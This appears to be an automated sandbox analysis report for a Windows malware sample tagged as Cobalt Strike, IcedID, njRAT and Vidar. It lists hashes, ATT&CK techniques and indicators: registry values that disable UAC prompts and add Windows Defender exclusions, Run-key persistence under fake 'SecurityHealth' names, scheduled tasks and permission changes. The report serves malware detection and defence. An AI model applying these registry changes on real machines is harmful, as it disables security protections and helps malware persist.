db087e4de3a53d6ffcbeb3e86fbcc23f7b953a4b28c32d66f9aa31bf0f4c7316

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
25/10/2026, 01:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
Size 34.6MB
Sample261025-bc2b8aez4k
SHA256 db087e4de3a53d6ffcbeb3e86fbcc23f7b953a4b28c32d66f9aa31bf0f4c7316
MD5 f8b2789108723f7271f7cea262cb9e9c
SHA1 e4e4711a16d4d89a830b6214a8eb9b2c57a429e7
SHA512 346f937505dd6195f4b6c913fec0345d772df960a97c912173330411b518af7a8385ea41c9262b05d0f3db3c76827ed512038740bbd282dd1f676998c0d02f0b
SSDEEP 98304:v6ukQmHTpksa7ffG6slKxMzfM3nJ76KVfMYrvjgAj:yukQmH0HmKxofM3nl6UfMYrLgAj
TLSH
T157876F22B6428CD2F00285F45897BBA427FEFCB18AD1C71336E95B1E6FAE18C8D57055
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	iWMlVR.exe

Windows security bypass 2 TTPs 18 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\iWMlVR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\qO1Gea = "0"	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral1/memory/924-689-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 8 IoCs

resource	yara_rule
behavioral1/memory/924-673-0x0000000003830000-0x000000000400D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/924-677-0x0000000003830000-0x000000000400D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/924-702-0x0000000003830000-0x000000000400D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/924-713-0x0000000003830000-0x000000000400D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/1600-727-0x0000000003840000-0x000000000401D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/924-731-0x0000000003830000-0x000000000400D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/404-754-0x00000000039E0000-0x00000000041BD000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/2176-750-0x0000000003B60000-0x000000000433D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1536	powershell.exe
5060	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	iWMlVR.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
4724	icacls.exe
4360	icacls.exe
540	icacls.exe
968	icacls.exe
4516	icacls.exe
3112	icacls.exe
652	icacls.exe
1120	icacls.exe
4932	icacls.exe
3528	icacls.exe
4324	icacls.exe
2424	icacls.exe
3040	icacls.exe
2628	icacls.exe
2656	icacls.exe
5008	takeown.exe
1672	icacls.exe
4088	icacls.exe
2112	icacls.exe
2412	icacls.exe
3648	icacls.exe
2692	icacls.exe
5064	takeown.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	3eHF9B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	iWMlVR.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 6 IoCs

pid	Process
3120	3eHF9B.exe
2800	3eHF9B.exe
924	iWMlVR.exe
1600	bRdHv06.exe
404	iWMlVR.exe
2176	bRdHv06.exe

Loads dropped DLL 6 IoCs

pid	Process
3120	3eHF9B.exe
2800	3eHF9B.exe
924	iWMlVR.exe
1600	bRdHv06.exe
404	iWMlVR.exe
2176	bRdHv06.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
540	icacls.exe
4088	icacls.exe
3528	icacls.exe
4360	icacls.exe
2112	icacls.exe
1120	icacls.exe
3648	icacls.exe
2628	icacls.exe
2656	icacls.exe
652	icacls.exe
5008	takeown.exe
1672	icacls.exe
5064	takeown.exe
2424	icacls.exe
3112	icacls.exe
968	icacls.exe
3040	icacls.exe
2692	icacls.exe
4932	icacls.exe
4516	icacls.exe
4324	icacls.exe
2412	icacls.exe
4724	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\qO1Gea\\3eHF9B.exe\""	3eHF9B.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\iWMlVR\\iWMlVR.exe\""	iWMlVR.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4696	cmd.exe
4092	cmd.exe
4428	cmd.exe
4160	cmd.exe
1540	cmd.exe
3768	cmd.exe
4424	cmd.exe
752	cmd.exe
2172	cmd.exe
3040	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	3eHF9B.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\iWMlVR\iWMlVR.exe	3eHF9B.exe
File opened for modification	C:\Program Files (x86)\iWMlVR\iWMlVR.exe	3eHF9B.exe
File opened for modification	C:\Program Files (x86)\iWMlVR\image.png	3eHF9B.exe
File opened for modification	C:\Program Files (x86)\iWMlVR\thumbs.db	3eHF9B.exe
File opened for modification	C:\Program Files (x86)\Vp9r2886i\bRdHv06.exe	iWMlVR.exe
File opened for modification	C:\Program Files (x86)\Vp9r2886i\thumbs.db	iWMlVR.exe
File opened for modification	C:\Program Files (x86)\Vp9r2886i\XPSPLOG.dll	iWMlVR.exe
File opened for modification	C:\Program Files (x86)\iWMlVR	3eHF9B.exe
File created	C:\Program Files (x86)\iWMlVR\image.png	3eHF9B.exe
File created	C:\Program Files (x86)\Vp9r2886i\XPSPLOG.dll	iWMlVR.exe
File created	C:\Program Files (x86)\iWMlVR\XPSPLOG.dll	3eHF9B.exe
File opened for modification	C:\Program Files (x86)\iWMlVR\XPSPLOG.dll	3eHF9B.exe
File created	C:\Program Files (x86)\Vp9r2886i\thumbs.db	iWMlVR.exe
File created	C:\Program Files (x86)\iWMlVR\thumbs.db	3eHF9B.exe
File opened for modification	C:\Program Files (x86)\Vp9r2886i	iWMlVR.exe
File created	C:\Program Files (x86)\Vp9r2886i\image.png	iWMlVR.exe
File opened for modification	C:\Program Files (x86)\Vp9r2886i\image.png	iWMlVR.exe
File created	C:\Program Files (x86)\Vp9r2886i\bRdHv06.exe	iWMlVR.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
764	sc.exe
4700	sc.exe
740	sc.exe
3176	sc.exe
3556	sc.exe
3052	sc.exe
4108	sc.exe
4320	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	iWMlVR.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\SCRNSAVE.EXE	iWMlVR.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaveActive = "0"	iWMlVR.exe

Executes a command shell one-liner 1 TTPs 27 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3428	cmd.exe
208	cmd.exe
4776	cmd.exe
4172	cmd.exe
4712	cmd.exe
1144	cmd.exe
2564	cmd.exe
4404	cmd.exe
4788	cmd.exe
2324	cmd.exe
3064	cmd.exe
4744	cmd.exe
1740	cmd.exe
4024	cmd.exe
2600	cmd.exe
3208	cmd.exe
1028	cmd.exe
2476	cmd.exe
4152	cmd.exe
4580	cmd.exe
1908	cmd.exe
2536	cmd.exe
4104	cmd.exe
3344	cmd.exe
4884	cmd.exe
4264	cmd.exe
1160	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	3eHF9B.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	3eHF9B.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	iWMlVR.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	iWMlVR.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iWMlVR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iWMlVR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\SCRNSAVE.EXE	iWMlVR.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaveActive = "0"	iWMlVR.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	iWMlVR.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	iWMlVR.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5012	schtasks.exe
5024	schtasks.exe
4228	schtasks.exe
688	schtasks.exe
1516	schtasks.exe
416	schtasks.exe
4840	schtasks.exe
4724	schtasks.exe
2788	schtasks.exe
4808	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
2216	2026-10-24_f8b2789108723f7271f7cea262cb9e9c_cobalt-strike_coinminer_icedid_njrat_poet-rat_vidar.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe
3120	3eHF9B.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5060	powershell.exe
Token: SeTakeOwnershipPrivilege	5008	takeown.exe
Token: SeRestorePrivilege	1672	icacls.exe
Token: SeTakeOwnershipPrivilege	5064	takeown.exe
Token: SeRestorePrivilege	4088	icacls.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeIncreaseQuotaPrivilege	1536	powershell.exe
Token: SeSecurityPrivilege	1536	powershell.exe
Token: SeTakeOwnershipPrivilege	1536	powershell.exe
Token: SeLoadDriverPrivilege	1536	powershell.exe
Token: SeSystemProfilePrivilege	1536	powershell.exe
Token: SeSystemtimePrivilege	1536	powershell.exe
Token: SeProfSingleProcessPrivilege	1536	powershell.exe
Token: SeIncBasePriorityPrivilege	1536	powershell.exe
Token: SeCreatePagefilePrivilege	1536	powershell.exe
Token: SeBackupPrivilege	1536	powershell.exe
Token: SeRestorePrivilege	1536	powershell.exe
Token: SeShutdownPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeSystemEnvironmentPrivilege	1536	powershell.exe
Token: SeRemoteShutdownPrivilege	1536	powershell.exe
Token: SeUndockPrivilege	1536	powershell.exe
Token: SeManageVolumePrivilege	1536	powershell.exe
Token: 33	1536	powershell.exe
Token: 34	1536	powershell.exe
Token: 35	1536	powershell.exe
Token: 36	1536	powershell.exe
Token: SeIncreaseQuotaPrivilege	1536	powershell.exe
Token: SeSecurityPrivilege	1536	powershell.exe
Token: SeTakeOwnershipPrivilege	1536	powershell.exe
Token: SeLoadDriverPrivilege	1536	powershell.exe
Token: SeSystemProfilePrivilege	1536	powershell.exe
Token: SeSystemtimePrivilege	1536	powershell.exe
Token: SeProfSingleProcessPrivilege	1536	powershell.exe
Token: SeIncBasePriorityPrivilege	1536	powershell.exe
Token: SeCreatePagefilePrivilege	1536	powershell.exe
Token: SeBackupPrivilege	1536	powershell.exe
Token: SeRestorePrivilege	1536	powershell.exe
Token: SeShutdownPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeSystemEnvironmentPrivilege	1536	powershell.exe
Token: SeRemoteShutdownPrivilege	1536	powershell.exe
Token: SeUndockPrivilege	1536	powershell.exe
Token: SeManageVolumePrivilege	1536	powershell.exe
Token: 33	1536	powershell.exe
Token: 34	1536	powershell.exe
Token: 35	1536	powershell.exe
Token: 36	1536	powershell.exe
Token: SeIncreaseQuotaPrivilege	1536	powershell.exe
Token: SeSecurityPrivilege	1536	powershell.exe
Token: SeTakeOwnershipPrivilege	1536	powershell.exe
Token: SeLoadDriverPrivilege	1536	powershell.exe
Token: SeSystemProfilePrivilege	1536	powershell.exe
Token: SeSystemtimePrivilege	1536	powershell.exe
Token: SeProfSingleProcessPrivilege	1536	powershell.exe
Token: SeIncBasePriorityPrivilege	1536	powershell.exe
Token: SeCreatePagefilePrivilege	1536	powershell.exe
Token: SeBackupPrivilege	1536	powershell.exe
Token: SeRestorePrivilege	1536	powershell.exe
Token: SeShutdownPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeSystemEnvironmentPrivilege	1536	powershell.exe
Token: SeRemoteShutdownPrivilege	1536	powershell.exe
Token: SeUndockPrivilege	1536	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3120 wrote to memory of 4424	3120	3eHF9B.exe	95
PID 4424 wrote to memory of 5012	4424	cmd.exe	97
PID 4424 wrote to memory of 4192	4424	cmd.exe	99
PID 4424 wrote to memory of 3644	4424	cmd.exe	101
PID 3120 wrote to memory of 752	3120	3eHF9B.exe	104
